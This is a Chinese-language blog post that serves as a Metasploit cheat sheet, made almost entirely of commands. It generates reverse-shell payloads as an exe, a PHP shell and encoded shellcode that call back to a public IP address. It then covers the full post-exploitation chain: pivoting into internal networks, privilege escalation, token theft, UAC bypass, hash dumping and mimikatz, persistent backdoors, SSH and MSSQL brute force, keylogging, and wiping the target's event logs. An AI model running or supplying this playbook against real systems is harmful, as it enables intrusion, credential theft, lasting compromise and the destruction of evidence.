Ywc's blog

MSF常用操作

Word count: 1.2kReading time: 5 min
2019/03/18

payload的几个常用生成

1、生成windows下的反弹木马

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f exe > 8888.exe
-p=payload -f format -o path

2、监听

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.195.130
set LPORT 2333
exploit(攻击)

3、PHP

1
2
3
4
5
6
msfvenom -p php/meterpreter_reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 172.17.150.246
set LPORT 8888
exploit

4、shellcode

1
msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=60.205.212.140 -e x86/shikata_ga_nai -i 11 -f py > 1.py  //-e 使用编码 -i 编码次数

内网代理

首先需要连接到你get到的sessions,在此基础下添加路由

1
2
3
4
5
6
meterpreter > run get_local_subnets //获取网段
meterpreter > run autoroute -s 172.2.175.0/24 //添加路由
meterpreter > run autoroute -p //查看路由
meterpreter > run autoroute -d -s 172.2.175.0 //删除网段
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
meterpreter > background //后台sessions

提权

1、getsystem

meterpreter > getsystem //直getsystem提权,最常用简单的办法

2、使用exp提权

1
2
3
4
5
6
7
8
9
meterpreter > background //先后台运行会话
[*] Backgrounding session 1…
msf > use post/windows/escalate/ms10_073_kbdlayout
msf > show options
msf > set session 1 //设置要使用的会话
msf post(ms10_073_kbdlayout) > exploit
注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。
或者直接:
meterpreter > run post/windows/escalate/ms10_073_kbdlayout

3、盗取令牌

1
2
3
meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠

注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。

4、Bypassuac

1
2
3
4
msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
msf > show options
msf > set session 4
msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权

5、Hash

1
meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。

建立持久后门

1、服务启动后门

1
2
3
4
5
6
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
msf > run //获取到的会话是system权限

2、启动项启动后门

1
2
3
4
5
meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105
// -X 系统开机自启,-i 10 10秒重连一次,-p 监听端口,-r 监听机。直接监听就好了,他自己会链接回来。
注意到移除 persistence 后门的办法是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 中的注册表键和 C:\WINDOWS\TEMP\ 中的 VBScript 文件。
缺点:容易被杀毒软件杀
注意:这两个后门有个弊端,在进程中都会存在服务名称为meterpreter的进程。

漏洞扫描

对端口都扫描

1
2
3
4
5
6
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.2.1-255
set ports 21,22,25,443,445,1433,3306
set threads 20
exploit

mssql开发利用

2-1:对各个ip是否有mssql服务的探测

1
2
3
4
5
use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
show options
set rhosts 192.168.2.1-255
set threads 30
exploit

2-2:对扫描到的ip进行爆破

1
use scanner/mssql/mssql_login    //具体配置show options

2-3:sa权限对其利用

1
2
3
4
5
use admin/mssql/mssql_exec
set rhost 192.168.2.10
set password sa
set CMD cmd.exe /c echo hello
exploit

爆破ssh模块

1
2
3
4
5
6
use auxiliary/scanner/ssh/ssh_login
set rhosts 7.7.7.20
set username root
set pass_file /root/pass.txt //加载字典,可以收集密码做字典
set threads 50
run

通过nmap扫描基本漏洞

1
2
msf > nmap  --script=vuln 受害靶机ip地址
msf > nmap --script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等.

最后清除记录

1
msf > clearev   //删除目标机上的应用程序、系统和安全日志。

一些常用命令

查看系统命令 sysinfo

截图 screenshot

查看是否是虚拟机 run checkvm

查看运行木马的用户 getuid

注入到进程 migrate pid //成功会提示successfully

加载mimikatz模块 meterpreter > load mimikatz meterpreter > wdigest //需要system权限

获取键盘记录:meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块

进入session:sessions -i

CATALOG
  1. 1. payload的几个常用生成
  2. 2. 内网代理
  3. 3. 提权
  4. 4. 建立持久后门
  5. 5. 漏洞扫描
    1. 5.1. 对端口都扫描
    2. 5.2. mssql开发利用
    3. 5.3. 爆破ssh模块
    4. 5.4. 通过nmap扫描基本漏洞
    5. 5.5. 最后清除记录
  6. 6. 一些常用命令